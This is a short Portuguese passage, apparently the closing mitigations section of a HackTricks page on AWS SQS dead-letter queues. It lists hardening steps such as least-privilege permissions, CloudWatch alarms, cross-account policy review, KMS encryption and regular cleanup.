1. **Least Privilege**: Restringir permissões `sqs:StartMessageMoveTask` apenas aos papéis necessários
|
||||
2. **Monitor DLQs**: Configurar alarmes do CloudWatch para atividades incomuns em DLQs
|
||||
3. **Políticas entre contas**: Revisar cuidadosamente as políticas da fila SQS que permitem acesso entre contas
|
||||
4. **Criptografar DLQs**: Usar SSE-KMS com políticas de chave restritas
|
||||
5. **Limpeza Regular**: Não permita que dados sensíveis se acumulem em DLQs indefinidamente
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user